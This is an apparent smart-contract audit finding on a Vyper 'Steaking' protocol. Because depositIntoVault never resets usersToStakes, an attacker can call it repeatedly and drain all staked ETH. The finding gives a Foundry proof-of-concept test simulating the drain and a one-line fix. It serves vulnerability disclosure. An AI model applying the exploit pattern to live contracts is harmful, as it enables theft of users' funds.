Summary
Since the usersToStakes
is not adjusted when the user calls Steaking::depositIntoVault
, with little stake, an attacker can drain the protocol completely and she can continue to do that if other users continue to stake in the protocol even in the future.
Vulnerability Details
As far as the attacker's usersToStakes
balance is not zero and there are staked
ETH in the protocol, if the attacker calls Steaking::depositIntoVault
repeatedly, she can drain the protocol of all the ETH staked in it. thereby claiming all the sharesReceived
which she will use to call ERC4626::withdraw
on the vault and withdraw all user's funds.
This exploit is possible because the usersToStakes
is not adjusted accordingly when users call Steaking::depositIntoVault
function, hence a user can continue to deposit into vault
repeatedly and claim shares until she drains all the staked ETH available in the protocol.
PoC
foundry test for the vulnerability
function test_StealAllStakedEthFromProtocol() public {
for(uint i; i < 5; ++i){
address user = makeAddr(Strings.toString(i));
_stake(user, 1 ether, user);
}
address attacker = makeAddr("attacker");
_startVaultDepositPhase(attacker, 1 ether, attacker);
vm.startPrank(attacker);
for(uint256 i = 0; i < 6; ++i) {
steaking.depositIntoVault();
}
uint256 attackerVaultShares = wethSteakVault.balanceOf(attacker);
wethSteakVault.withdraw(attackerVaultShares, address(attacker), address(attacker));
vm.stopPrank();
uint256 userSteakBalance = steaking.usersToStakes(attacker);
uint256 attackerWethBalAfterExploit = weth.balanceOf(attacker);
assertEq(userSteakBalance, 1 ether);
assertEq(attackerWethBalAfterExploit, 6 ether);
}
Impact
Tools Used
manual review
foundry test
Recommendations
@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
+ self.usersToStakes[msg.sender] -= stakedAmount
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived